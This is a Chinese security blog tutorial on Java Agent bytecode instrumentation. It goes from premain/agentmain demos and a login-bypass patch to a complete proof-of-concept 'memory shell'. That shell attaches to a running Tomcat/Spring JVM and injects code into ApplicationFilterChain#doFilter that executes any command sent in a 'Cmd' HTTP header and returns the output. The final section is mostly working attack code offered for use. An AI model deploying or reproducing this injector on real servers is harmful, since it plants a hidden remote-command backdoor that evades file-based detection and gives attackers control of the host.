Java Agent介绍

Java Agent 简单来说就是 JVM 提供的一种动态 hook class 字节码的技术

通过 Instrumentation (Java Agent API), 开发者能够以一种无侵入的方式 (类似 Spring AOP), 在 JVM 加载某个 class 之前修改其字节码的内容, 同时也支持重加载已经被加载过的 class

premain(静态Instrument)

通过 -javaagent​ 参数指定 agent, 从而在 JVM 启动之前修改 class 内容 (自 JDK 1.5)

需要实现 premain 方法:

1
2
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);

带有 Instrumentation inst 参数的方法优先级更高, 会优先被调用

实验

目录情况如下:

1
2
3
4
5
6
7
8
9
-java-agent
----src
--------main
--------|------java
--------|----------com.example.agent
--------|------------PreMainTraceAgent
--------|resources
-----------META-INF
--------------MANIFEST.MF

MANIFREST.MF:

1
2
3
4
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: PreMainTraceAgent

或者不去手动写MANIFREST.MF文件的方式,使用maven插件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-jar-plugin</artifactId>
    <version>3.1.0</version>
    <configuration>
        <archive>
            <!--自动添加META-INF/MANIFEST.MF -->
            <manifest>
                <addClasspath>true</addClasspath>
            </manifest>
            <manifestEntries>
                <Premain-Class>com.example.agent.PreMainTraceAgent</Premain-Class>
                <Agent-Class>com.example.agent.PreMainTraceAgent</Agent-Class>
                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                <Can-Retransform-Classes>true</Can-Retransform-Classes>
            </manifestEntries>
        </archive>
    </configuration>
</plugin>

测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.example.agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class PreMainTraceAgent {

    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }

    static class DefineTransformer implements ClassFileTransformer{

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("premain load Class:" + className);
            return classfileBuffer;
        }
    }
}

然后使用maven插件打包即可

image

再重新开一个工程, 然后只需要写一个带 main 方法的类即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class TestMain {

    public static void main(String[] args) {
        System.out.println("main start");
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        System.out.println("main end");
    }
}

通过配置 VM options : -javaagent:jarpath

根据输出结果我们能够发现:

  1. 执行 main 方法之前会加载所有的类,包括系统类和自定义类;
  2. 在 ClassFileTransformer 中会去拦截系统类和自己实现的类对象;
  3. 如果你有对某些类对象进行改写,那么在拦截的时候抓住该类使用字节码编译工具即可实现。

agentmain(动态Instrument)

需要实现 agentmain 方法

1
2
3
4
// 采用attach机制,被代理的目标程序VM有可能很早之前已经启动,当然其所有类已经被加载完成
// 这个时候需要借助Instrumentation#retransformClasses(Class<?>... classes)让对应的类可以重新转换,从而激活重新转换的类执行ClassFileTransformer列表中的回调
public static void agentmain (String agentArgs, Instrumentation inst)
public static void agentmain (String agentArgs)

实验

MANIFREST.MF:

1
2
3
4
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.example.agent.AgentMainTest

或者

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-jar-plugin</artifactId>
  <version>3.1.0</version>
  <configuration>
    <archive>
      <!--自动添加META-INF/MANIFEST.MF -->
      <manifest>
        <addClasspath>true</addClasspath>
      </manifest>
      <manifestEntries>
        <Agent-Class>com.example.agent.AgentMainTest</Agent-Class>
        <Can-Redefine-Classes>true</Can-Redefine-Classes>
        <Can-Retransform-Classes>true</Can-Retransform-Classes>
      </manifestEntries>
    </archive>
  </configuration>
</plugin>

这样就能对已经执行的 java 服务进行 attach, 然后执行我们的agentmain()中的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

/**
 * @author rickiyang
 * @date 2019-08-16
 * @Desc
 */
public class AgentMainTest {

    public static void agentmain(String agentArgs, Instrumentation instrumentation) {
        instrumentation.addTransformer(new DefineTransformer(), true);
    }

    static class DefineTransformer implements ClassFileTransformer {

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("premain load Class:" + className);
            return classfileBuffer;
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.agent_test;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

/**
 * @author rickiyang
 * @date 2019-08-16
 * @Desc
 */
public class TestAgentMain {

    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //获取当前系统中所有 运行中的 虚拟机
        System.out.println("running JVM start ");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();	// 得到 JVM 进程列表
        for (VirtualMachineDescriptor vmd : list) {
            //如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid
            //然后加载 agent.jar 发送给该虚拟机
            System.out.println(vmd.displayName());	// 进程名
            if (vmd.displayName().endsWith("com.example.agent_test.TestAgentMain")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("/Users/lnhsec/Desktop/Lnh/Java/agent/target/agent-0.0.1-SNAPSHOT.jar");
                virtualMachine.detach();
            }
        }
    }

}

Instrumentation 修改字节码

Instrumentation 就是 Java Agent 提供给我们的用于修改 class 字节码的 API

它的的具体使用可参考官方文档

https://docs.oracle.com/javase/9/docs/api/java.instrument-summary.html

常见用法:

1
2
3
4
5
6
7
8
// 获取已被 JVM 加载的所有 class
Class[] getAllLoadedClasses();

// 添加 transformer 用于拦截即将被加载或重加载的 class, canRetransform 参数用于指定能否利用该 transformer 重加载某个 class
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

// 重加载某个 class, 注意在重加载 class 的过程中, 之前设置的 transformer 会拦截该 class
void retransformClasses(Class<?>... classes);

添加的 transformer 必须要实现 ClassFileTransformer 接口

1
2
3
4
5
6
7
8
9
public interface ClassFileTransformer {
    byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException;
}

className 是 JVM 形式的 class name, 例如java.util.HashMap​在 JVM 中的形式为java/util/HashMap​(.​被替换成了/​)

classfileBuffer 是原始的 class 字节码, 如果我们不想修改某个 class 就需要把这个变量原样返回

剩下的参数一般用不到

为了演示修改字节码这个过程, 先准备一个测试程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.example.agent;

public class CrackTest {
    public static String username = "admin";
    public static String password = "fakepassword";

    public static boolean checkLogin(){
        if (username == "admin" && password == "admin"){
            return true;
        } else {
            return false;
        }
    }
    public static void main(String[] args) throws Exception{
        while(true){
            if (checkLogin()){
                System.out.println("login success");
            } else {
                System.out.println("login failed");
            }
            Thread.sleep(1000);
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.example.agent;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class CrackDemo {

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        for(Class clazz : inst.getAllLoadedClasses()){ // 先获取到所有已加载的 class
            if (clazz.getName().equals("com.example.agent.CrackTest")){
                inst.addTransformer(new TransformerDemo(), true); // 添加 transformer
                inst.retransformClasses(clazz); // 重加载该 class
            }
        }
    }

    public static void main(String[] args) throws Exception{
        String pid, name;
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            pid = vmd.id();
            name = vmd.displayName();
            if (name.equals("com.example.agent.CrackTest")){
                System.out.println(1111111);
                VirtualMachine vm = VirtualMachine.attach(pid);
                vm.loadAgent("/Users/lnhsec/Desktop/Lnh/Java/agent/target/agent-0.0.1-SNAPSHOT.jar");
                vm.detach();
                System.out.println("attach ok");
                break;
            }
        }
    }
}

class TransformerDemo implements ClassFileTransformer{
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("com/example/agent/CrackTest")) { // 因为 transformer 会拦截所有待加载的 class, 所以需要先检查一下 className 是否匹配
            try {
                ClassPool pool = ClassPool.getDefault();
                CtClass clazz = pool.get("com.example.agent.CrackTest");
                CtMethod method = clazz.getDeclaredMethod("checkLogin");
                method.setBody("{System.out.println(\"inject success!!!\"); return true;}"); // 利用 Javaassist 修改指定方法的代码
                byte[] code = clazz.toBytecode();
                clazz.detach();
                return code;
            } catch (Exception e) {
                e.printStackTrace();
                return classfileBuffer;
            }
        } else {
            return classfileBuffer;
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.1.0</version>
                <configuration>
                    <archive>
                        <!--自动添加META-INF/MANIFEST.MF -->
                        <manifest>
                            <addClasspath>true</addClasspath>
                        </manifest>
                        <manifestEntries>
                            <Agent-Class>com.example.agent.CrackDemo</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>

Java Agent 内存马

实现的思路就是找一个比较通用的类, 保证每一次 request 请求都能调用到它的某一个方法, 然后利用 Javaassist 插入恶意 Java 代码

可以首先写一个Controller​, 然后看会触发哪些地方, 如果存在req和resp, 即可修改class, 注入内存马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package com.example.agent.Controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class helloController {

    @RequestMapping("/hello")
    public String sayHello() {
        try {
            System.out.println("hello world");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "hello w0s1np"; // 返回字符串而不是视图
    }
}

image

它的 doFilter 会调用 internalDoFilter, 后者依次取出各种 filter 并链式调用其 doFilter 方法

可以看到ApplicationFilterChain#doFilter​触发了多次, 并且其参数为:(ServletRequest request, ServletResponse response)​, 那么只需要重写该方法即可

ApplicationFilterChain#doFilter

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.example.agent.mem;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;


public class agentmain_test {

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {
            if (aClass.getName().equals(DefineTransformer.editClassName)) {
                // 添加 Transformer
                inst.addTransformer(new DefineTransformer(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }

    public static void main(String[] args) throws Exception{
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor desc : list){
            String name = desc.displayName();
            String pid = desc.id();

            if (name.contains("com.example.agent.AgentApplication")){
                VirtualMachine vm = VirtualMachine.attach(pid);
                System.out.println("pid: " + pid);
                vm.loadAgent("/Users/lnhsec/Desktop/Lnh/Java/agent/target/agent-0.0.1-SNAPSHOT.jar");
                vm.detach();
                System.out.println("attach ok");
                break;
            }
        }
    }

    static class DefineTransformer implements ClassFileTransformer {
        public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
        public static final String editMethod = "doFilter";
//		  public static final String editClassName = "org.apache.catalina.core.StandardWrapperValve";
//        public static final String editMethod = "invoke";

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            if (className.replace("/", ".").equals(editClassName)) { // 因为 transformer 会拦截所有待加载的 class, 所以需要先检查一下 className 是否匹配
                try {
                    ClassPool pool = ClassPool.getDefault();
                    CtClass clazz = pool.get(editClassName);
                    CtMethod method = clazz.getDeclaredMethod(editMethod);
                    method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
                            "String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
                            "if (cmd != null){\n" +
                            "    Process process = Runtime.getRuntime().exec(cmd);\n" +
                            "    java.io.InputStream input = process.getInputStream();\n" +
                            "    java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
                            "    StringBuilder sb = new StringBuilder();\n" +
                            "    String line = null;\n" +
                            "    while ((line = br.readLine()) != null){\n" +
                            "        sb.append(line + \"\\n\");\n" +
                            "    }\n" +
                            "    br.close();\n" +
                            "    input.close();\n" +
                            "    response.getOutputStream().print(sb.toString());\n" +
                            "    response.getOutputStream().flush();\n" +
                            "    response.getOutputStream().close();\n" +
                            "}"); // 利用 Javaassist 修改指定方法的代码
                    byte[] code = clazz.toBytecode();
                    clazz.detach();
                    return code;
                } catch (Exception e) {
                    e.printStackTrace();
                    return classfileBuffer;
                }
            } else {
                return classfileBuffer;
            }
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.1.0</version>
                <configuration>
                    <archive>
                        <!--自动添加META-INF/MANIFEST.MF -->
                        <manifest>
                            <addClasspath>true</addClasspath>
                        </manifest>
                        <manifestEntries>
                            <Agent-Class>com.example.agent.mem.agentmain_test</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>

StandardWrapperValve#invoke

可以从上面的调用栈看见, 当我们访问一个控制器时, 会多次触发ApplicationFilterChain#doFilter​, 那么打内存马也会这样, 就导致动静太大

往前看一个就找到StandardWrapperValve#invoke:

image

也有我们需要的req、resp, 那么只需要修改上面的classname和method

image

参考

https://www.cnblogs.com/rickiyang/p/11368932.html

https://exp10it.io/2023/01/java-agent-memory-shell/#agentmain-%E6%96%B9%E5%BC%8F

https://xz.aliyun.com/news/8949